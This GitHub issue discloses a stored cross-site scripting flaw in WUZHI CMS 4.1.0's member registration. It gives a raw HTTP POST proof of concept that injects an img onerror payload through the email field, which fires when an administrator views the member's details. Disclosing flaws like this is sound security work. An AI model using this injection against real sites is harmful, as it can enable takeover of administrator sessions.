Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a cross-site scripting vulnerability #134

Closed
jiguangsdf opened this issue Apr 24, 2018 · 0 comments
Closed

There is a cross-site scripting vulnerability #134

jiguangsdf opened this issue Apr 24, 2018 · 0 comments

Comments

@jiguangsdf
Copy link

A xss vulnerability was discovered in WUZHI CMS 4.1.0
There is a persistent XSS attacks vulnerability which allows remote attackers to inject arbitrary web script or HTML via the email parameter post to the index.php?m=member&v=register
When the background administrator inquires about the personal information of this ordinary member, XSS triggers successfully.

POC

vulnerability trigger point

default

POST /wuzhi/www/index.php?m=member&v=register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/wuzhi/www/index.php?m=member&v=register
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
Cookie: EkT_qkey=jiPLTZIrWUySV8FmwZwibPjlIPfq0nTj; EkT_truename=yuduo; EkT_auth=lwMUjMOtAXpsQyZViV3zkNdoXMK7Up5NWRRI4Ro4FDKECQHhZ1ntK0WcBotqHVYyx3z9AYABYpAsEx4OdqcExF5S1d7Gw31AvtN07WdqMw28yLCoyNv8RA%3D%3D; EkT__uid=ocqUyYLd7bm05%2Ft4KcS%2B6Q%3D%3D; EkT__username=URDJ1YisL%2BXkt7Mzgg3aNA%3D%3D; EkT__groupid=aZR0cJTYiMBkLfoq8PwJ0g%3D%3D; EkT_modelid=10; tFf_auth=EVUCupGrAYuOzHKFNYqbS%2B39rd2Ynyn74kyNU3KlUwiQCJGQMAgEMU0go7SqkJsUA8kNZq6BsF5nFNbEeL5ehNOQ5DkCGZ4h4JnRqFB8UFIh9kWHsJe84Q%3D%3D; tFf__uid=FM0wd0X5ONWZsKHK8N3j%2Fw%3D%3D; tFf__username=haycqodNzDQbfpqnsWY3xA%3D%3D; tFf__groupid=I7EFExZnf2tvQCMhDV%2B1nA%3D%3D; tFf_truename=yuduo; tFf_modelid=10; SwW_qkey=sSAglhFB%2F04GAI1A3H4vDpnfBjktIjQO; SwW_truename=yuyuyu; PHPSESSID=9buf6rl43ntdb4resajht9rvg5; SwW_uid=yEWrV2eNBeXMRUVWUu598g%3D%3D; SwW_username=RO8HE494BbuZUpLZSNX8JQ%3D%3D; SwW_wz_name=9Oco7o7Rbc4vwKqgpRdkBw%3D%3D; SwW_siteid=nOzQpyFY%2Bd9VOpqA2lPu8w%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1

modelid=10&username=abcddd&mobile=13836363535&checkcode=ymdb&email=<img/src=1 onerror=confirm(2)>asdfasfd%40adf.com&password=love1234&pwdconfirm=love1234&protocol=1&submit=+%E6%B3%A8%E5%86%8C+

an administrator successfully triggers a member's personal information

default

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant